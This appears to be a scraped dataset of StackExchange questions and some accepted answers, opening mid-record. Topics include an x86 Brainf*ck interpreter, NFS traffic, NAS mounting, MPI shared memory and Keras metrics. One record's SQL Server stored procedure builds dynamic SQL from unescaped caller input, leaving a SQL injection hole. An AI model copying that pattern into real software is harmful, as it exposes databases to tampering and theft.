for nowloopStack DD 5 dup(0) ; stores the position of the first instruction in the current loop. Maximum of 5 nested loops.charBuf BYTE 5 dup(0) ; buffer for when we are dumping numbersnewline BYTE 10,0 ; ASCII 10 is \\nprompt BYTE $,0 ; input prompt stringhr BYTE 50 dup('-'),0 ; fake horizontal rulespace BYTE ' ',0.codeEvalBf proc    start:    ; print the prompt and then read input into the source array    invoke StdOut, addr prompt    invoke StdIn, addr bfsrc,200    ; exit if input is empty    cmp bfsrc,0    je exit    mov eax,0 ; eax is BF data pointer    mov ebx,0 ; ebx is BF source pointer    mov ecx,0 ; ecx is loop depth    processInstruction:    ; jump according to current source char    cmp BYTE PTR bfsrc[ebx], '+'    je plus    cmp BYTE PTR bfsrc[ebx], '-'    je minus    cmp BYTE PTR bfsrc[ebx], '>'    je fwd    cmp BYTE PTR bfsrc[ebx], '<'    je back    cmp BYTE PTR bfsrc[ebx], '['    je open    cmp BYTE PTR bfsrc[ebx], ']'    je close    cmp BYTE PTR bfsrc[ebx], '.'    je dot    ; By default, skip instruction if we haven't caught it    jmp processNextInstruction    plus:    inc BYTE PTR bfcells[eax]    jmp processNextInstruction    minus:    dec BYTE PTR bfcells[eax]    jmp processNextInstruction    fwd:    inc eax    jmp processNextInstruction    back:    dec eax    jmp processNextInstruction    open:    ; push the current source position    ; onto the loop stack    mov loopStack[ecx*4],ebx    inc ecx    jmp processNextInstruction    close:    dec ecx    cmp BYTE PTR bfcells[eax], 0    ; break out of loop if data cell is 0    je processNextInstruction    ; pop the innermost loop position and    ; set it as the next instruction    mov ebx,loopStack[ecx*4]    inc ecx    jmp processNextInstruction    dot:    ; transfer current cell value into char buffer through dl    mov dl, BYTE PTR bfcells[eax]    mov BYTE PTR charBuf[0], dl    ; follow the character with null to terminate the string    mov BYTE PTR charBuf[1],0    ; save the registers we need to maintain so that stdout doesn't break anything    push eax    push ecx    ; print generated string    invoke StdOut, addr charBuf    pop ecx    pop eax    jmp processNextInstruction    processNextInstruction:    inc ebx    ; we're finished if we have hit the end of the input    cmp BYTE PTR bfsrc[ebx], 0    je done    jmp processInstruction    done:    ; loop through every value in the BF data array and print it    invoke StdOut, addr newline    mov eax, 0    printNext:    ; the data array is 100 cells long, so stop looping when we hit cell 100    cmp eax, 100    jge reset    ; save value in eax onto the stack    push eax    ; convert cell value to string and store it in the character buffer    invoke dwtoa, BYTE PTR bfcells[eax], addr charBuf    ; print the buffer, followed by a space    invoke StdOut, addr charBuf    invoke StdOut, addr space    ; restore and increment value of eax    pop eax    inc eax    jmp printNext    ; when processing is complete, go back to the beginning and take new input    reset:    invoke StdOut, addr newline    invoke StdOut, addr hr    invoke StdOut, addr newline    jmp start    exit:    invoke ExitProcess,0EvalBf endpend EvalBf"  , "title": "Brainf*ck interpreter written in x86 assembly"  , "tags": "assembly;brainfuck"  , "accepted_answer": "mov eax,0 ; eax is BF data pointermov ebx,0 ; ebx is BF source pointermov ecx,0 ; ecx is loop depthIf you used the EDI register for the BF data pointer and the ESI register for the BF source pointer, not only would this be a more natural choice, you could also dismiss the push eaxand pop eax around invoke StdOut, addr charBuf.By further using EBX for the loop depth you can also eliminate the need for push ecxand pop ecx around the same invoke StdOut, addr charBuf.Do note that clearing a register is better done trough an xor instruction:xor  edi, edi ; EDI is BF data pointerxor  esi, esi ; ESI is BF source pointerxor  ebx, ebx ; EBX is loop depth cmp BYTE PTR bfsrc[ebx], 0 je done jmp processInstructiondone:Here's a clear opportunity to optimize the code. Instead of conditionally jumping to done you can use the opposite conditional jump and fall through. This saves an instruction:cmp BYTE PTR bfsrc[ebx], 0jne processInstructiondone:mov  eax, 0printNext:cmp  eax, 100jge  resetpush eax...pop  eaxinc  eaxjmp  printNextYou've used a WHILE-loop here. A REPEAT-loop would have been more optimal. Also a better way to zero a register is by xor-ing it with itself. Furthermore by using the EDI register you eliminate the need for the push eax and pop eax: xor edi, ediprintNext: ... inc edi cmp edi, 100 jl printNextreset:mov dl, BYTE PTR bfcells[eax]mov BYTE PTR charBuf[0], dl; follow the character with null to terminate the stringmov BYTE PTR charBuf[1],0Use the movzx here and shave off an instruction:movzx edx, BYTE PTR bfcells[eax]mov WORD PTR charBuf[0], dx ; follow the character with null to terminate the string"  } 
{  "id": "_unix.220066"  , "question": "My Centos7 starts very slowly. I do not know what is the cause. This problem appeared after I upgraded it to a new version. Can you, please, help me solve the problem? If more details are needed I will present them. Thank you in advance."  , "title": "Centos7 starting very slowly?"  , "tags": "centos"  } 
{  "id": "_unix.248683"  , "question": "I have a debian box that acts as a NFS server:Debian 8 server settings:$ apt-get install nfs-kernel-server nfs-common#/etc/fstab/dev/disk/by-uuid/6e7815a5-cd91-450c-8e83-479f732ecd87 /mnt/hdd1-raid10 ext4 defaults 0 1#/etc/exports/mnt/hdd1-raid10/log/r1         freebsd-client(rw,no_root_squash,subtree_check)I configured my FreeBSD box to act as a NFS client to push logs to a mounted directory on the Debian server:FreeBSD 10.2 client settings:#/etc/rc.confnfs_client_enable=YESpflog_enable=YESpflog_logfile=/mnt/r1/pflogpflog_flags='tcp'#/etc/fstabdebian-server:/mnt/hdd1-raid10/log/r1 /mnt/r1 nfs     rw      0       0#/etc/newsyslog.conf/mnt/r1/pflog                           600  *    *      @T00    B     /var/run/pflogd.pid$ nfsstat -mdebian-server:/mnt/hdd1-raid10/log/r1 on /mnt/r1nfsv3,tcp,resvport,hard,cto,lockd,sec=sys,acdirmin=3,acdirmax=60,acregmin=5,acregmax=60,nametimeo=60,negnametimeo=60,rsize=65536,wsize=65536,readdirsize=8192,readahead=1,wcommitsize=16777216,timeout=120,retrans=2I am seeing much more higher inbound traffic on an interface that is exclusively used for handling NFS between the Debian server, bce3.101 on the FreeBSD box:   bce3.101  in      2.015 MB/s          4.295 MB/s          226.455 GB             out     0.148 MB/s          0.314 MB/s           17.048 GBWhich is very surprising considering that I have only produced around 10 Gbytes of logs in three days. In no way the interface values and bandwidth correspond to the actual data that is stored on disk /mnt/r1Why would the FreeBSD box be receiving so much inbound NFS traffic? Eventhough all it does is writing to the Debian server.Is this some kind of misconfiguration on my part? I am using only the default NFS settings.Here's an example tcpdump -i bce3.101 -vvv on the FreeBSD box.http://pastebin.com/RFNC72SAThank you."  , "title": "NFS client much more inbound traffic than outbound? Why?"  , "tags": "linux;debian;freebsd;nfs"  } 
{  "id": "_webapps.58094"  , "question": "After I created the secondary domain, I found I had added a www in front of the secondary domain and I just deleted the secondary domain because of my mistake. When I tried to recreate it with the same domain name, it said:you have already have a domain or alias in this nameShould I wait for 24 hours to take effect. Is it possible to create a secondary domain on the same name in that same Google Apps account."  , "title": "Secondary Domain in Google Apps Deleted and unable to create it back"  , "tags": "google apps;domain"  } 
{  "id": "_codereview.46060"  , "question": "The purpose of the below code is to update a column based on the name of the field name sent from the .NET code. This allows one piece of code to handle multiple rows when a user is only adding/updating one at a time.I have been using Stored Procedures for a while but normally just Add/Update but not using variable field names. All tips appreciated. USE DBGO/****** Object:  StoredProcedure [dbo].[spActionUpdateOldestDate]    Script Date: 04/02/2014 14:24:09 ******/SET ANSI_NULLS ONGOSET QUOTED_IDENTIFIER ONGOALTER PROCEDURE [dbo].[spUpdateViaFieldName] -- spActionUpdateOldestDate '1234','date','field'-- Add the parameters for the stored procedure here@AlphaNumbericalRef nvarchar(50)            ,@vValue nvarchar(MAX)  ,@vFieldName varchar(MAX)ASBEGIN-- add selection for courseID etc.. hereExecute ('UPDATE [TblActionsOldest] SET ' + @vFieldName + ' = ''' + @vValue + ''' WHERE RefID = ''' + @AlphaNumbericalRef+ '''')END"  , "title": "Update column based on input variable in stored procedure"  , "tags": "sql;sql server;stored procedure"  } 
{  "id": "_unix.2998"  , "question": "I have a WD MyBook World NAS on my home network.  I currently use this for Time Machine backups for my Mac but I'd also like to use it as a backup location for my linux box which is running Ubuntu Server.  How can I mount this drive on the linux server so that my cron backups can use it as a backup destination?I have configured the WD drive with a static IP address which I assume would be important in the solution."  , "title": "How do I mount a WD MyBook World network drive in linux?"  , "tags": "linux;ubuntu;networking;mount;backup"  , "accepted_answer": "According to the manual, the MyBook supports both the CIFS/SMB and the NFS protocols.CIFS/SMB is the protocol natively used by Windows for accessing network drives. You should be able to access the MyBook on a Linux/Unix system by using the smbclient or mount.cifs, e.g. to access (mount) the public folder on MyBook on the local directory /mnt you would issue (from a root terminal):mount.cifs //ip.address.of.mybook/public /mnt -o username=admin,password=admin_passwd_on_mybookor, equivalently:mount -t cifs -o username=admin,password=... //ip.address.of.mybook/public /mntwhere:you can substitute public with download (to access the pre-defined download share) or any share name that you have created with the MyBook storage manager.username/password can be those of any user that you have created on the MyBook storage manager interface; or just use -o guest instead of -o username=...,password=... to specify Guest access.Access by the NFS protocol is not enabled by default; you have first to enable it in the Advanced tab of the MyBook storage manager, then you can mount the disk shares via NFS with:mount -t nfs ip.address.of.mybook/nfs/public /mntAgain, public can be any defined share name."  } 
{  "id": "_softwareengineering.341755"  , "question": "In our internal architecture, we have several Tomcat servers which distribute the workload and isolate the different processes of our business. We are planning to move into an approach where several tasks (mostly BD related) will be handled by a Tomcat endpoint (load balanced for availability and performance), but we are troubled in determining what could be the best practice oriented method for internal communication between the different web apps that run in the different Tomcat servers. We've already been using HornetQ, MQTT (Mosquitto based) and HTTP for different aspects, but considering this planned endpoint should expose internally an API to the others servers.The main goal of this architecture change is to avoid problems related to the fact of having different pieces of software doing similar work, but with different rules and algorithms, thus leading to coding mistakes and non-uniform behaviors across the system for a single entity.What should be considered? What inter-process-communication would be actually recommended? Some kind of ESB perhaps?"  , "title": "IPC design considerations"  , "tags": "java;process;tomcat"  } 
{  "id": "_unix.53110"  , "question": "My LCD monitor is dying. It has white screen issue: when power on, it's black screen (power LED is flashing), after a while (maybe one hour), it turns to white screen. Then I need switch to different resolutions many many times (hundreds, maybe) to get the LCD monitor to work.Currently, I'm using VNC to connect to my fedora 17 desktop from an Android phone, and switch resolutions from System Setting -> Display. It's difficult to switch resolutions in this way. So, I think if the console has a different resolution to the X Window resolution, then I can simply use Ctrl+Alt+[F1F2...] hotkeys to switch resolutions.If I disabled Kernel Mode Setting by passing nomodeset parameter to kernel, then the console resolution is different to X Window resolution. However, the X Windows does not get the native/best resolution (1680x1050) of the monitor, it only get 1280x1024 resolution which is listed in vesa modes (vga=ask kernel parameter).So, before I buy a new monitor or fixed this monitor, is it possible to set different resolution between console and X when Kernel Mode Setting is enabled ?Edit (2012-11-28)I've sent LCD monitor to electrical appliance service shop and finally got it fixed, it was because of some capacitors failed.And now I realize I can also change to a different lower resolution in X environment, then use Ctrl+Alt+[F1F2...] hotkeys to switch resolutions. This can let me get lower resolution but same X:Y ratio as native/best resolution.The answer for this question is still wanted."  , "title": "Is it possible to set different resolution between console and X when Kernel Mode Setting is enabled?"  , "tags": "fedora;monitors;kms"  } 
{  "id": "_unix.151004"  , "question": "I setup a link to web app that my company uses on my desktop, which resulted in a .desktop file like this:[Desktop Entry]Icon=/home/kris/Pictures/gplus.pngName[en_US]=Google PlusName=Google PlusType=LinkURL[$e]=https://plus.google.com/This works pretty well, but I can't figure out how to add an option to force it to open in a new window, or possibly even as an app window. I have tested in a console that what I want will work:$ firefox -new-window plus.google.comDoes anyone know of a way to modify the .desktop to do this? Is the only way to re-do it as a Exec style launcher? Is there an editor in KDE for this?"  , "title": "How do I get a .desktop in KDE to open a new browser window?"  , "tags": "kde;opensuse;desktop;freedesktop"  } 
{  "id": "_softwareengineering.205958"  , "question": "Say I have a class like this:public class MyObject{    public List<string> MyCollection { get; set; }}And a method like this:public void DoSomething(MyObject object){    if(object.MyCollection == null)    {        // MyCollection must not be null        // Should I...        // a)        object.MyCollection = new List<string>();        // b)        throw new ArgumentException(MyCollection can not be null);    }}I do not have control over MyObject. Normally I'd just instantiate the collection in the constructor and be done with it. Should I just instantiate the collection in my method, or throw an exception?"  , "title": "Throwing an exception for errors that can be fixed"  , "tags": "exceptions"  , "accepted_answer": "What you've got here are called guard statements, and you absolutely should throw an exception if object.MyCollection is null.Exceptions are meant for exceptional circumstances, and since you specify that object.MyCollection must not be null this would be indeed exceptional.  Just make sure the exception you throw is of a suitable type (for example an ArgumentNullException)."  } 
{  "id": "_webapps.103234"  , "question": "I know that repeat groups can operate in a few different ways:With a fixed repeat count (the repeat count is an integer loaded in from a hidden variable)With an unspecified repeat group (the repeat group continues until the mobile worker decides to exit the loop) With a Model Iteration ID Query (I've seen this used primarily to iterate over cases retrieved from the casedb)Is there a 4th option that allows you to iterate over a space-separated list of items, and access each subsequent item as a hidden variable inside the repeat group?"  , "title": "Is it possible to use a repeat group to iterate over a space-separated list?"  , "tags": "commcare"  , "accepted_answer": "A repeat group is capable of iterating over a space separated list with a Model Iteration query, but like any repeat group auto-expansion, this can only occur over a set of values which is fixed when the form opens. That means the list can't be determined by user input in the form, unless you follow the pattern where the repeat contains an entry for every possible selection, and uses Display Conditions around an inner group to hide elements which aren't chosen.With those caveats: You can actually accomplish this quite simply, by providing the path to the space separated list as the Model Iteration query itself. Model iterations actually internally operate over a space separated list that they generate by performing a join(' ', instance('something')/your/iteration/query)operation on your input. As such, if you provide a query with only one element, the join will just return your space separated list and proceed as usual!EDIT: Forgot to mention - if you are going to use this method and reference a question inside the form (rather tthan an instance as in my example) it needs to:Be set it using a default value, not a calculationNeeds to come before the model iteration loop. "  } 
{  "id": "_codereview.44619"  , "question": "My code below is for a sort of onscreen keyboard. I was just wondering if it could be written shorter with a lot of ifs and elses.   function input(key) {    fieldName   = currentSide+'_scratchfield';    field       = document.getElementById(fieldName);    del         = DELETE;    if(key == 'sp') key = ' ';    if(key == 'minus')  {        if(field.value == del) {            return false;        } else if(field.value.charAt(0) == -) {            field.value = field.value.substr(1, field.value.length);            return false;        } else {            field.value = -+field.value;            return false;        }    }    if(key == 'clr')    {           if(field.value ==  || field.value == null) {            return false;        } else if (field.value == del) {            field.value = ;            return false;        } else {            field.value = field.value.substring(0, field.value.length-1);             return false;        }    }    if(key == 'del')    {           if(field.value ==  || field.value == null) {            key = del;        } else if(field.value == del) {            field.value = ;            return false;        } else {            field.value = ;             key = del;        }    }key = key.toUpperCase();if(field.value == del) { field.value = ; }field.value += key;}"  , "title": "Onscreen keyboard"  , "tags": "javascript"  } 
{  "id": "_unix.6488"  , "question": "I have a virtual machine running of openSuse 11.2 that has mono 2.6.4, I use this VM as a test server to test asp.net applications under Apache mod_mono.I wanted to upgrade (in the same virtual machine) to mono 2.8.2. I downloaded several rpm files from http://ftp.novell.com/pub/mono/download-stable/openSUSE_11.2/i586/ but I'm in a dependency loop, don't know which package to install in the correct order...(Did I mention that I know very little of suse?)Edit: Is it possible to find a way to upgrade it without network connectivity?Thanks!"  , "title": "How to upgrade mono on openSuse"  , "tags": "linux;opensuse;mono;software installation"  , "accepted_answer": "Go to this page at opensuse.org and click 1-Click Install button on mono-complete-2.8.2 meta package. Then all your loop dependencies will be solved automatically by YaST manager.It is a usual user-friendly way to install packages on openSuSE."  } 
{  "id": "_codereview.66893"  , "question": "A little while back, I wrote in a review of a Ruby bowling sim that I might try my hand at modelling the game myself, focussing on the funky deferred scores system. Since a2bfay, who posted the original question, has since posted a thoroughly updated piece of code, I figured I'd better get mine finished, especially since I chose a very different approach. I just figured it'd be fun to put up for review. The main point for me was mostly to do some plain ol' Ruby for fun and zero profit. It's a self-imposed programming-challenge, I suppose.This it not a complete bowling simulator like a2bfay's, though; it's actually just a single class for now. It does a lot, though. Perhaps too much, but that's for a review to tackle.The class in question models the concept of a frame in a game of bowling. Since a frame's final score might depend on shots/rolls in the following frames, I implemented the frames as nodes in a singly-linked list. So at any time, a frame can report its score, and whether or not said score is final by examining itself and (if necessary) shots from its following frame(s). The final frame behaves differently, allowing up to 3 shots/rolls in order to resolve any non-final scores.Basic requirements:Adherence to regular 10-pin bowling rules. No support for any of the variants.Ability to calculate scores live, i.e. while the game is in progress.Ability to easily control skill, i.e. how many pins to knock down.I fairly happy with the result, though the class is pretty packed with functionality. For instance, here's how to play a perfect game: game = Frame.create_list(10).each do |frame| # create 10 linked frames   frame.play { 10 }                          # bowl a strike in each frame end game.map(&:score).inject(&:+) # => 300So it doesn't leave much for other classes to do1. Not necessarily a bad thing, of course.Anyway, enough intro, here's the code. It's also in a gist along with many, many tests (RSpec). Kinda went overboard, I guess, but I wanted to stretch my testing muscles.# This class models a frame in 10 pin bowling.class Frame  # Number of pins lined up  PIN_COUNT = 10  # The next frame relative to the receiver  attr_reader :next_frame  # Create an array of +count+ linked frames, in which frame N is linked  # to frame N+1 from first to last.  def self.create_list(count)    raise RangeError.new(count must be greater than 0) if count.to_i < 1    frames = [self.new]    (count.to_i - 1).times.inject(frames) do |frames|      frames << frames.last.append_frame    end  end  def initialize #:nodoc:    @shots = []  end  # Returns a dup of the shots in this frame.  def shots    @shots.dup  end  # Append a new frame to the receiver (if one exists, it's returned).  # If the receiver has already recorded 1 or more shots, no new frame  # will be created, and the method will just return the existing  # +next_frame+ which may be +nil+.  def append_frame    return @next_frame if last? && !shots.empty?    @next_frame ||= self.class.new  end  # True if the receiver has been played to completion (i.e. no more shots  # are possible).  def played?    shots.count >= shot_limit  end  # Play this frame till it's done. Returns the shots that were recorded  #  # See also #play_one_shot  def play(&block)    shots_played = []    shots_played << play_one_shot(&block) until played?    shots_played  end  # Bowl a single ball. If the frame's been played, +nil+ will be  # returned.  #   # The block will receive the number of pins still standing, and  # the numbers of the shots already taken, and must return the number  # of pins to topple. The number is clamped to what's possible.  def play_one_shot(&block)    return if played?    shot = yield remaining_pins, shots.count    @shots << [0, shot.to_i, remaining_pins].sort[1]    shots.last  end  # True if the receiver has no following frames (see also #next_frame).  def last?    next_frame.nil?  end  # The score for this frame (may not be final).  def score    scored_shots = successive_shots[0, shots_required_for_score]    scored_shots.inject(0, &:+)  end  # True if have all the necessary shots been taken (in this frame or others).  def score_finalized?    successive_shots.count >= shots_required_for_score  end  # The number of pins knocked down in the shots that have been taken.  def pins    shots.inject(0, &:+)  end  # True if the first shot was a strike.  def strike?    shots.first == PIN_COUNT  end  # True if the first 2 shots constitute a spare.  def spare?    !strike? && shots[0, 2].inject(0, &:+) == PIN_COUNT  end  # Shots required in order to calculate the final score for this frame.  # This includes shots already taken this frame.  def shots_required_for_score    strike? || spare? ? 3 : 2  end  # Returns the number of pins currently standing.  def remaining_pins    remaining = PIN_COUNT - (pins % PIN_COUNT)    remaining %= PIN_COUNT if played?    remaining  end  # Collect shots from this frame and successive frames.  def successive_shots    return [] if @shots.empty?    collected = @shots.dup    collected += next_frame.successive_shots if next_frame    collected  end  private  # The number of shots that can be taken in this frame.  def shot_limit    return 3 if fill_ball?    return 1 if strike?    return 2 # intentional but unnecessary return; just there for formatting  end  # Does this frame have a 3rd shot?  def fill_ball?    last? && (strike? || spare?)  endendThings I've noticed myself:Conflating a regular mid-game frame and the last frame in a single class. They do differ a fair bit. But while I tried breaking it into separate classes, super and sub classes, and extracting logic into modules, I didn't find a structure I liked. So it's all one class.There are a handful of magic numbers in there, but creating constants or methods for them seemed more trouble than it's worth, since I'm aiming exclusively at regular 10-pin bowling. Still, though...Again, the class just does a lot. Hmm... it is kinda complex, isn't it?Edits & addenda:Edit: Added a missing comment on Frame.create_list1) I should have been clearer. I do not intend for this single class to do and be everything, even if it does do a lot. To more fully model a game, you'd still need something like a Game class, perhaps a Player class, etc.."  , "title": "Bowling scores in Ruby"  , "tags": "object oriented;ruby;game;rags to riches"  } 
{  "id": "_webapps.78637"  , "question": "I don't see any sharing settings that allows full access to upload/view an entire Google Photos account.I want to have my phone, my laptop, my wife's phone and her laptop to all sync whatever local photos the devices have to the same Google Photos account.I don't want to use one of our personal Google accounts, like my personal gmail, because in order for her to log in to see the photos online, she'd have to be able to 2 factor authentication and basically be completely logged in to all my Google services, which would be confusing for her.Has anyone else figured out the best way? Should we create a new photos only Google account?"  , "title": "Strategy for sharing the same Google Photos account for whole family"  , "tags": "google photos"  } 
{  "id": "_codereview.109620"  , "question": "My tooltip works fine, but I need to simplify this code.var genderSelect = {  getGenderSelect: function () {    if(this.val('Girl')){      $(this).find('#girl-character').show();      $(this).find('#boy-character').hide();    }else if(this.val('Boy')){      $(this).find('#boy-character').show();      $(this).find('#girl-character').hide();    }  },  init: function(){    $('.control-label input[name=gender]').change(      $('#caracters').show();      genderSelect.getGenderSelect();  )};};genderSelect.init();"  , "title": "Simple jQuery tooltip"  , "tags": "javascript;jquery"  , "accepted_answer": "You can shorten the getGenderSelect function like this:var genderSelect = {  getGenderSelect: function () {    $(this).find('#girl-character').toggle(this.val() == 'Girl');    $(this).find('#boy-character').toggle(this.val() == 'Boy');      },  init: function(){    $('.control-label input[name=gender]').change(      $('#caracters').show();      genderSelect.getGenderSelect();  )};};genderSelect.init();The toggle function takes a boolean which determines whether to show or hide the  selected elements."  } 
{  "id": "_cs.60509"  , "question": "Question taken from The Algorithm Design Manual by Steven S. Skiena, 1997.A vertex cover of a graph $G=(V,E)$ is a subset of vertices $V'\\subseteq V$ such that every edge $e\\in E$ contains at least one vertex from $V$. Delete all the leaves from any depth-first search tree of $G$. Must the remaining vertices form a vertex cover of $G$? Give a proof or a counterexample. Answer given :If the tree has more than one vertex, then yes. The remaining vertices are still the vertexcover because for every edge eE incident on the leaves, their other end-point is still in theremaining tree.My question:The answer is right for undirected graphs. But I think there exist counterexamples to this question using directed graphs.For example:If we are using DFS starting from vertex $a$ and we are traversing in alphabetical order, i.e. explore b first, then we end up with two tree edges, which are $(a,b)$ and $(a,c)$. Therefore, $b$ and $c$ are leaf-vertices.But here if are going to delete vertices $b$ and $c$ the edge $(c,b)$ has no incident vertices which are contained in our vertex cover.Am I right? I am confused actually."  , "title": "Vertex cover of a graph by removing leaf-vertices from a DFS tree"  , "tags": "algorithms;algorithm analysis;graph traversal"  , "accepted_answer": "Look at the definition of vertex cover (as provided by the book). It is strictly defined on undirected graphs. Thus, the answer doesn't apply to directed graphs, nor to any other kinds of graphs you might think of. So your counterexample is invalid, as it makes invalid assumptions (graphs are always undirected here). These invalid assumptions are the source of your confusion.To consider directed graphs, we first need to define what a vertex cover is on a directed graph. Well, we can say it is a subset of vertices such that every arc is incident to at least one vertex in the subset. Again, the book makes no claim about such directed vertex covers. If you are now asking does $\\{ a \\}$ form a (directed) vertex cover as per our definition?, the answer is NO as you correctly observed."  } 
{  "id": "_scicomp.15874"  , "question": "I am trying to use the MPI share memory feature. I have several SMP nodes, and each of them has four cores. I need an array of size N for each node that should be accessed by all four cores in each node. My plan is to construct a shared window of size N/4 using MPI_Win_allocate_shared, and I expect that memory usage of each node would be N. In the example below, N is 4X10^9 bytes, but the memory usage of each node is not 4GB but 16GB. Am I missing something?#include <iostream>#include <mpi.h>int main(int argc, char** argv) {   MPI_Init(&argc, &argv);   int rank_all;   int rank_sm;   int size_sm;   // all communicator   MPI_Comm comm_sm;   MPI_Comm_rank(MPI_COMM_WORLD, &rank_all);   // shared memory communicator   MPI_Comm_split_type(MPI_COMM_WORLD, MPI_COMM_TYPE_SHARED, 0, MPI_INFO_NULL, &comm_sm);   MPI_Comm_rank(comm_sm, &rank_sm);   MPI_Comm_size(comm_sm, &size_sm);   std::size_t local_window_count(1000000000);   char* base_ptr;   MPI_Win win_sm;   int disp_unit(sizeof(char));   MPI_Win_allocate_shared(local_window_count * disp_unit, disp_unit, MPI_INFO_NULL, comm_sm, &base_ptr, &win_sm);   // write   char buffer;   if (rank_sm == 0) {      buffer = 'A';   }   else if (rank_sm == 1) {      buffer = 'C';   }   else if (rank_sm == 2) {      buffer = 'G';   }   else {      buffer = 'T';   }   MPI_Win_fence(0, win_sm);   for (std::size_t it = 0; it < local_window_count; it++) {      base_ptr[it] = buffer;   }   MPI_Win_fence(0, win_sm);   // read   long long int index_start(-1 * rank_sm * local_window_count);   long long int index_end((size_sm - rank_sm) * local_window_count - 1);   for (long long int it_rel = index_start; it_rel < index_end; it_rel++) {      buffer = base_ptr[it_rel];      if (it_rel == index_start) {         std::cout << rank_sm <<  start:  << buffer << std::endl;      }      else if (it_rel == (index_end - 1)) {         std::cout << rank_sm <<  end:  << buffer << std::endl;      }   }   MPI_Finalize();   return 0;}"  , "title": "total memory usage of MPI shared memory"  , "tags": "c++;mpi;memory management"  } 
{  "id": "_cogsci.10575"  , "question": "This question is based on a previous question I have written. For details, see here: https://parenting.stackexchange.com/q/21080/17089Question:Are these claims actually saying classical music is more intelligence enhancing than other forms of music? If so, is that true?As a composer, I would find this interesting because I think certainly there are many different kinds of music and it seems very surprising to single out one genre as requiring more intelligence. For instance, suppose you say Mozart is more sophisticated then the Boss (Bruce Springsteen) and therefore more intelligence promoting.  By that logic then, Schoenberg's music should be better for children than Mozart since Schoenberg is certainly more complex than Mozart (e.g. chromatic vs diatonic scales; polymeter vs single meter). But I would never play Schoenberg for my child instead of Mozart because I find Schoenberg unnatural to listen to because it is so weird and complex. The point is I think simply saying classical music is more sophisticated or superior isn't a very meaningful distinction and greater clarification should be given about why classical music in particular enhances learning (if in fact that has any basis). Another way of saying this is, why doesn't music in general enhance it then?  Why classical music in particular?  "  , "title": "Does classical music enhance intelligence in children more than other genres?"  , "tags": "developmental psychology;music"  , "accepted_answer": "A great overview of this topic is available in Chapter 6 of the book The Invisible Gorilla by Chabris & Simons. My answer is based, in large part, on their summary of the topic.The Mozart Effect was originally reported by Rauscher, Shaw, & Ky (1993). In the experiment, college students completed a set of typical IQ tests. Before taking the tests, the participants were randomly assigned to either (1) listen to 10 minutes of Mozart, (2) listen to 10 minutes of relaxation instructions, or (3) sit in silence for 10 minutes. They reported that participants who listened to Mozart scored an average of 8-9 IQ points higher on the tests than the other groups.The effect turns out to be difficult to replicate. This is nicely summarized in the introduction of Steele, Bass, & Crook (1999), who also conducted a replication of the original design and found no evidence of a Mozart effect.Your question is specifically about classical versus other kinds of music, and this is indeed a topic that has been researched as a follow-up to the Mozart Effect. One theory that arose to explain the Mozart Effect (even though the effect itself may not be all that reliable!) is that it has nothing to do with classical music in particular. Rather, the effect is simply about arousal and mood. Listening to music may not increase your intelligence, but it might make you more alert and engaged than sitting in silence or listening to a relaxation script. Schellenberg & Hallam (2006) reported a study in which participants (8,000 British school children!) listened to either (1) a Mozart string quintet, (2) three pop songs, or (3) a discussion about a science experiment. The children who listened to the pop songs performed significantly better than the others, and there was no benefit of Mozart over the science discussion. Nantais & Schellenberg (1999) demonstrated that there was no overall difference between listening to Mozart or an excerpt from a Stephen King story, but participants did tend to do better if they got to listen to the thing they preferred! One explanation, then, is that listening to something you like before taking an IQ test increases your performance (or, conversely, listening to something you don't like decreases performance). "  } 
{  "id": "_datascience.14688"  , "question": "is there any reason why the validation mean squared error output from Keras is always very similar to 1? Thank you. All of my training results looks like:155/155 [==============================] - 0s - loss: 6062.6136 - mean_absolute_error: 0.8344 - mean_squared_error: 1.0271 - val_loss: 0.8252 - val_mean_absolute_error: 0.8252 - val_mean_squared_error: 1.0164Epoch 29/1000155/155 [==============================] - 0s - loss: 5870.5280 - mean_absolute_error: 0.8324 - mean_squared_error: 1.0211 - val_loss: 0.8246 - val_mean_absolute_error: 0.8246 - val_mean_squared_error: 1.0130Epoch 30/1000155/155 [==============================] - 0s - loss: 5668.5083 - mean_absolute_error: 0.8311 - mean_squared_error: 1.0134 - val_loss: 0.8244 - val_mean_absolute_error: 0.8244 - val_mean_squared_error: 1.0106Epoch 31/1000155/155 [==============================] - 0s - loss: 5530.8119 - mean_absolute_error: 0.8288 - mean_squared_error: 1.0115 - val_loss: 0.8243 - val_mean_absolute_error: 0.8243 - val_mean_squared_error: 1.0089Epoch 32/1000155/155 [==============================] - 0s - loss: 5222.6773 - mean_absolute_error: 0.8283 - mean_squared_error: 1.0119 - val_loss: 0.8245 - val_mean_absolute_error: 0.8245 - val_mean_squared_error: 1.0071Epoch 33/1000155/155 [==============================] - 0s - loss: 5090.0273 - mean_absolute_error: 0.8273 - mean_squared_error: 1.0078 - val_loss: 0.8247 - val_mean_absolute_error: 0.8247 - val_mean_squared_error: 1.0060Epoch 34/1000155/155 [==============================] - 0s - loss: 4878.2420 - mean_absolute_error: 0.8272 - mean_squared_error: 1.0093 - val_loss: 0.8245 - val_mean_absolute_error: 0.8245 - val_mean_squared_error: 1.0046note: I have standardized my input and output with sklearn standardization:from sklearn import preprocessing    X_scaler = preprocessing.StandardScaler().fit(X_list_total)    X_list_total_standardized = X_scaler.transform(X_list_total)    Y_scaler = preprocessing.StandardScaler().fit(Y_list_total)    Y_list_total_standardized = Y_scaler.transform(Y_list_total)Does it just mean that there is nothing to learn from the data at all?"  , "title": "keras validation mean squared error always similar to 1"  , "tags": "machine learning;scikit learn;tensorflow;keras"  } 
{  "id": "_unix.272086"  , "question": "Is it possible to have the ls command behave differently based on the number of directory entries that may be listed?If I just use ls (with no modifying options, but I can specify directories or filters), I want it to:apply -l long listing format if there are 10 entries or lessshow the first 50 entries only and output a warning that there are x more entriesIs this possible? How can I do this?Note that I don't want to use a custom script command switch to a custom command - I am OK with a custom script or wrapper, but I still want to use ls to do this, with full functionality still maintained. That is, not my-custom-ls but just ls to call the script/wrapper."  , "title": "Have the ls command behave differently based on the number of entries"  , "tags": "shell;ls"  } 
{  "id": "_softwareengineering.133825"  , "question": "I only have a verbal hosting agreement in place with a customer.  Unfortunately the relationship has deteriorated to the point of no return, and I'd like to end the hosting agreement and hand them over the root password.  This is a virtual dedicated server I pay for, and then they pay me.They are fine with this, but the problem is I don't trust this client even a little bit.  Can I get them to sign something saying they release me from liability to changes made on the server once I give them the password?  How is the root password usually given to clients who request it while making sure they don't come back later on and blame you for breaking the server?  Does simply the act of giving them the root password infer that you are handing over complete control and thus complete responsibility?"  , "title": "How do I hand over the keys to a webserver I'm hosting?"  , "tags": "client relations;web hosting"  } 
